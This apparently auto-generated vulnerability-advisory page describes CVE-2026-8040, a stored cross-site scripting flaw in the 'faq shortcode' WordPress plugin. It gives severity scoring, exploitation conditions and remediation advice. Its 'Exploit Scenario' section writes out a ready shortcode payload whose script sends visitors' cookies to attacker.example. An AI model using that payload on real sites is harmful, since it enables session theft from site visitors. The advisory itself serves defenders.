Skip to main content

faq shortcode CVE-2026-8040

| EUVDEUVD-2026-32092 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-27 security@wordfence.com GHSA-xxv4-8678-c28f
6.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or register Contributor WordPress account
  2. Delivery
    Inject malicious 'color' attribute into [faq] shortcode
  3. Exploit
    Publish post/page with injected content
  4. Execution
    Victim visits affected page
  5. Persist
    Stored XSS payload executes in victim's browser
  6. Impact
    Steal session cookie or perform action as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a Contributor-level (or higher) WordPress account on the target site - unauthenticated users and Subscriber-level accounts cannot exploit this vulnerability, as content creation with shortcodes is restricted to Contributor and above. The faq shortcode plugin must be installed and active on the site running version 1.0 or earlier. The injected post or page must be published and accessible to other users. Exploitation is further conditioned on a victim user visiting the page containing the injected [faq] shortcode; the XSS payload does not execute server-side. The scope of impact depends on the privilege level of the visiting user - if an administrator visits the injected page, higher-impact actions (such as admin cookie theft) become possible.

Impact

The CVSS 6.4 (Medium) score reflects a network-exploitable, low-complexity attack requiring low privileges (PR:L, confirming Contributor-level authentication) with changed scope but only low confidentiality and integrity impact. The PR:L requirement is the primary risk limiter - this is not an unauthenticated attack surface. EPSS at 0.03% (9th percentile) strongly signals low real-world exploitation probability, and the vulnerability is not listed in the CISA KEV catalog. No POC code is referenced in the available data. Cross-referencing these signals: this is a legitimate medium-severity issue for WordPress sites that allow untrusted users to hold Contributor accounts, but it is a low operational priority for sites with tightly managed contributor roles. The absence of a confirmed patched version elevates urgency slightly for affected deployments.

Exploit ScenarioDerived

An attacker who has obtained or registered a Contributor account on the target WordPress site creates or edits a post containing [faq color="<script>document.location='https://attacker.example/steal?c='+document.cookie</script>"]. The malicious shortcode is saved to the database and rendered without escaping when any visitor loads the page, causing the victim's browser to transmit their session cookie to the attacker. No public exploit code is referenced in the available data, but the technique is well-understood and trivially constructable from the public source code at line 65 of faq.php.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 27, 2026

Stored Cross-Site Scripting in the faq shortcode WordPress plugin (all versions up to and including 1.0) permits authenticated contributors to persist arbitrary JavaScript into site pages via the unsanitized 'color' attribute of the [faq] shortcode, with the payload executing in any visitor's browser upon page load. The vulnerability stems from missing input sanitization and output escaping in faq.php at line 65, and the changed scope (S:C in CVSS) confirms cross-user impact beyond the attacker's own session. No public exploit has been identified and EPSS sits at 0.03% (9th percentile), reflecting low current exploitation activity.

RemediationAI

No vendor-released patched version is independently confirmed from the available data - the NVD references point only to the 1.0 tagged release and the trunk branch, with no higher version identified. Site administrators should check the WordPress plugin repository for any update beyond version 1.0 and apply it immediately if available. As a compensating control, revoke or audit Contributor-level accounts on the affected WordPress installation to ensure only trusted users hold that role; this directly eliminates the PR:L attack surface. Alternatively, deactivate or remove the faq shortcode plugin until a patched version is confirmed. A web application firewall (WAF) rule blocking script-bearing shortcode attribute values can reduce exposure but should not be treated as a complete fix. The Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/ef6ce2ef-f810-4f8c-a0bd-785a28131213 should be monitored for patch release confirmation.

Affected VersionsENISA

faq shortocde 0 ≤1.0

Affected Packages

euvd faq_shortocde no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The faq shortcode WordPress plugin processes user-supplied shortcode attributes and renders them into HTML output. CWE-79 (Improper Neutralization of Input During Web Page Generation) identifies the root cause: the 'color' attribute value passed to the [faq] shortcode is written into the HTML DOM without sanitization (e.g., esc_attr() or wp_kses()) or escaping before output. The vulnerable code is located at line 65 of faq.php, visible in both the tagged 1.0 release and the trunk branch on the WordPress plugin repository. The CVSS scope change (S:C) reflects WordPress's multi-user architecture: a payload stored by one contributor executes in the security context of other, potentially higher-privileged, authenticated users who view the page.

Know when WordPress gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The faq shortocde plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'color' shortcode attribute in the 'faq' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2016-10033 CRITICAL POC
9.8 Dec 30

The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra para

CVE-2016-10045 CRITICAL POC
9.8 Dec 30

The isMail transport in PHPMailer before 5.2.20 might allow remote attackers to pass extra parameters to the mail comman

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-5084 CRITICAL POC
9.8 May 23

The Hash Form - Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing fil

CVE-2024-44000 CRITICAL POC
9.8 Oct 20

Authentication bypass in the LiteSpeed Cache WordPress plugin (versions prior to 6.5.0.1) allows unauthenticated remote

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

CVE-2020-36847 CRITICAL POC
9.8 Jul 12

The Simple File List plugin for WordPress through version 4.2.2 contains an unauthenticated remote code execution vulner

CVE-2025-11749 CRITICAL POC
9.8 Nov 05

The AI Engine WordPress plugin through version 3.1.3 exposes Bearer Token values through the /mcp/v1/ REST API endpoint

CVE-2025-27007 CRITICAL POC
9.8 May 01

The SureTriggers WordPress plugin through version 1.0.82 contains a privilege escalation vulnerability that allows unaut

CVE-2016-1209 CRITICAL POC
9.8 May 14

The Ninja Forms plugin before 2.9.42.1 for WordPress allows remote attackers to conduct PHP object injection attacks via

CVE-2024-4443 CRITICAL POC
9.8 May 22

The Business Directory Plugin - Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based

CVE-2026-63030 CRITICAL POC
9.8 Jul 17

Remote code execution in WordPress 6.9.x (before 6.9.5) and 7.0.x (before 7.0.2) arises from a REST API batch endpoint r

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy